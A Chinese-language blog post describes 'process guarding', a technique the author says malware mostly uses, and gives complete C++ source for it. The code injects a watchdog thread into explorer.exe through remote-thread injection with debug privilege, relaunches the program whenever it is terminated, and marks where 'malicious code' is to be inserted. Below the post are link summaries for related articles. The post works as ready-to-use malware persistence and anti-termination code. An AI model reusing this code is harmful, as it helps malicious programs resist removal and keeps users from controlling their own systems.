安全之路 —— C++实现进程守护
简介
所谓进程守护,就是A进程为了保护自己不被结束,创建了一个守护线程来保护自己,一旦被结束进程,便重新启动。进程守护的方法多被应用于恶意软件,是一个保护自己进程的一个简单方式,在ring3下即可轻松实现。而创建守护线程的方法多采用远程线程注入的方式,笔者之前曾介绍过远程线程注入的基本方式,主要分为[DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532051.html)和[无DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532065.html)。
代码实现
//////////////////////////////////////////////////////////////////
//
// FileName : ProcessProtectorDemo.cpp
// Creator : PeterZheng
// Date : 2018/9/06 17:32
// Comment : Process Protector
//
//////////////////////////////////////////////////////////////////
#pragma once
#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <string>
#include <strsafe.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <vector>
using namespace std;
#define MAX_LENGTH 255
#pragma warning(disable:4996)
//远程线程参数结构体
typedef struct _remoteTdParams
{
LPVOID ZWinExec; // WinExec Function Address
LPVOID ZOpenProcess; // OpenProcess Function Address
LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address
DWORD ZPid; // Param => Process id
HANDLE ZProcessHandle; // Param => Handle
CHAR filePath[MAX_LENGTH]; // Param => File Path
}RemoteParam;
//本地线程参数结构体
typedef struct _localTdParams
{
CHAR remoteProcName[MAX_LENGTH];
DWORD localPid;
DWORD remotePid;
HANDLE hRemoteThread;
}LocalParam;
//字符串分割函数
BOOL SplitString(const string& s, vector<string>& v, const string& c)
{
string::size_type pos1, pos2;
pos2 = s.find(c);
pos1 = 0;
while (string::npos != pos2)
{
v.push_back(s.substr(pos1, pos2 - pos1));
pos1 = pos2 + c.size();
pos2 = s.find(c, pos1);
}
if (pos1 != s.length())
v.push_back(s.substr(pos1));
return TRUE;
}
//远程线程函数体 (守护函数)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
ZWinExec ZWE;
ZOpenProcess ZOP;
ZWaitForSingleObject ZWFSO;
ZWE = (ZWinExec)lprp->ZWinExec;
ZOP = (ZOpenProcess)lprp->ZOpenProcess;
ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
ZWFSO(lprp->ZProcessHandle, INFINITE);
ZWE(lprp->filePath, SW_SHOW);
return 0;
}
//获取PID
DWORD __cdecl GetProcessID(CHAR *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;
BOOL bProcess = Process32First(hProcessSnap, &pe32);
while (bProcess)
{
if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
}
//获取权限
int __cdecl EnableDebugPriv(const TCHAR *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken)) return 1;
if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;
return 0;
}
//线程注入函数
BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{
if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);
if (!hWnd) return FALSE;
RemoteParam rp;
ZeroMemory(&rp, sizeof(RemoteParam));
rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");
rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");
rp.ZPid = dwLocalPid;
CHAR szPath[MAX_LENGTH] = "\0";
GetModuleFileName(NULL, szPath, sizeof(szPath));
StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);
RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteParam) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteThread) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
if (!hThread) return FALSE;
return TRUE;
}
//远程线程监控函数(本地线程函数)
DWORD WINAPI WatchFuncData(LPVOID lprarm)
{
HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;
DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;
DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);
DWORD exitCode = 0;
while (TRUE)
{
if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
GetExitCodeThread(hRemoteThread, &exitCode);
if (exitCode^STILL_ACTIVE)
{
WinExec(szRemoteProcName, SW_HIDE);
dwRemotePid = GetProcessID(szRemoteProcName);
InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
}
Sleep(1000);
}
return 0;
}
//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
LocalParam lpLp;
ZeroMemory(&lpLp, sizeof(LocalParam));
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
CHAR szLocalProcName[MAX_LENGTH] = "\0";
CHAR currentFilePath[MAX_LENGTH] = "\0";
vector<string> pathGroup;
GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));
SplitString(currentFilePath, pathGroup, "\\");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);
StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);
DWORD dwRemotePid = GetProcessID(szRemoteProcName);
DWORD dwLocalPid = GetProcessID(szLocalProcName);
HANDLE hThread = NULL;
lpLp.remotePid = dwRemotePid;
lpLp.localPid = dwLocalPid;
hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);
//....插入恶意代码等工作流程
while (TRUE)
{
MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);
}
WaitForSingleObject(hThread, INFINITE);
return 0;
}
安全之路 —— C++实现进程守护的更多相关文章
- Android 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护
本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context ↳an ...
- Android实现双进程守护 (转)
做过android开发的人应该都知道应用会在系统资源匮乏的情况下被系统杀死!当后台的应用被系统回收之后,如何重新恢复它呢?网上对此问题有很多的讨论.这里先总结一下网上流传的各种解决方案,看看这些办法是 ...
- 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护
本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context ↳an ...
- NodeJs之进程守护
进程守护 由于nodejs的单线程的脆弱性,一旦遇到运行错误便会严重到退出node进程导致系统或应用瘫痪,所以pm2,forever出现了,帮助我们实现进程的重启,这只是他们的特性之一. 实例演示进程 ...
- Android NDK(C++) 双进程守护
双进程守护如果从进程管理器观察会发现新浪微博.支付宝和QQ等都有两个以上相关进程,其中一个就是守护进程,由此可以猜到这些商业级的软件都采用了双进程守护的办法. 什么是双进程守护呢?顾名思义就是两个进程 ...
- Jexus进程守护工具jws.guard
一个运行中的进程,难免会因为各种各样的原因无缘无故的宕掉(比如网站瞬间的负载过高.内存不足等),而Jexus宕掉的后果往往只有一个:对外提供服务的网站无法访问了.因此,我们需要最大限度的保障我们的网站 ...
- Python Twisted系列教程16:Twisted 进程守护
作者:dave@http://krondo.com/twisted-daemonologie/ 译者: Cheng Luo 你可以从”第一部分 Twist理论基础“开始阅读:也可以从”Twisted ...
- Android实现双进程守护
做过android开发的人应该都知道应用会在系统资源匮乏的情况下被系统杀死!当后台的应用被系统回收之后,如何重新恢复它呢?网上对此问题有很多的讨论.这里先总结一下网上流传的各种解决方案,看看这些办法是 ...
- Window提高_3.1练习_双进程守护
双进程守护 当打开一个进程A的时候,此进程检测是否存在进程B,如果不存在就创建进程B. 进程B的作用是检测进程A是否被关闭,如果被关闭了,就再创建一个进程A. 双进程守护A.exe代码如下: #inc ...
随机推荐
- 微信开放平台创建android应用时怎么获取应用签名
之前微信开放平台中申请创建应用,没有整理,过了好久,又重新百度,今天索性整理了,以供童鞋们备用. 1.微信开发平台注册申请成开发者账号,就此略过 2.在管理中心选择创建移动应用.按照严格要求填写.上传 ...
- DevExpress GridControl小结
1. 如何解决单击记录整行选中的问题 View->OptionsBehavior->EditorShowMode 设置为:Click 2. 如何新增一条记录 (1).gridView.Ad ...
- 使用InstallUtil发布windows服务
发布Windows Service的方法 1. 在默认窗口Service1中右键Add Install,自动生成两个类. 2. 修改serviceInstaller1的属性: a)ServiceNa ...
- Quartz.NET的简单任务管理类
昨天使用Quartz.NET做了个定时任务的功能,并实现了多个定时任务的功能 下面这个类实现了如下功能: 1.对定时任务进行管理 2.创建定时任务,需要给定时任务一个job的名称 3.判断给定的job ...
- python的Web框架,会话保持及Form表单
会话 从打开浏览器访问到关闭浏览器,这就是一次会话. cookie 技术 cookie是保存在浏览器的,安全度比较低. # 设置cookie范式,在view中设置 def index(request) ...
- [SCOI2015] 情报传递
题目描述 奈特公司是一个巨大的情报公司,它有着庞大的情报网络.情报网络中共有 n 名情报员.每名情报员可能有若干名 (可能没有) 下线,除 1 名大头目外其余 n−1 名情报员有且仅有 1 名上线.奈 ...
- Docker版本变化和新版安装
Docker从1.13版本之后采用时间线的方式作为版本号,分为社区版CE和企业版EE. 社区版是免费提供给个人开发者和小型团体使用的,企业版会提供额外的收费服务,比如经过官方测试认证过的基础设施.容器 ...
- 修改任务显示WrkTaskIp.aspx页面
环境:Sharepoint2010 需求:在审批任务页面中插入或显示表单或列表内容,让内容与审核在同一页面上. 修改文件:WrkTaskIp.aspx(改前记得备份) 文件所在的路径:C:\Progr ...
- 《深入理解Java虚拟机》(二)Java虚拟机运行时数据区
Java虚拟机运行时数据区 详解 2.1 概述 本文参考的是周志明的 <深入理解Java虚拟机>第二章 ,为了整理思路,简单记录一下,方便后期查阅. 2.2 运行时数据区域 Java虚拟机 ...
- Java基础——Oracle(四)
一.Sql * plus 常用命令 1.关于登录,连接的几个命令 1) conn[nect] //例 conn system/manager 用法 conn 用户名/密码 @网络服务名 (as sy ...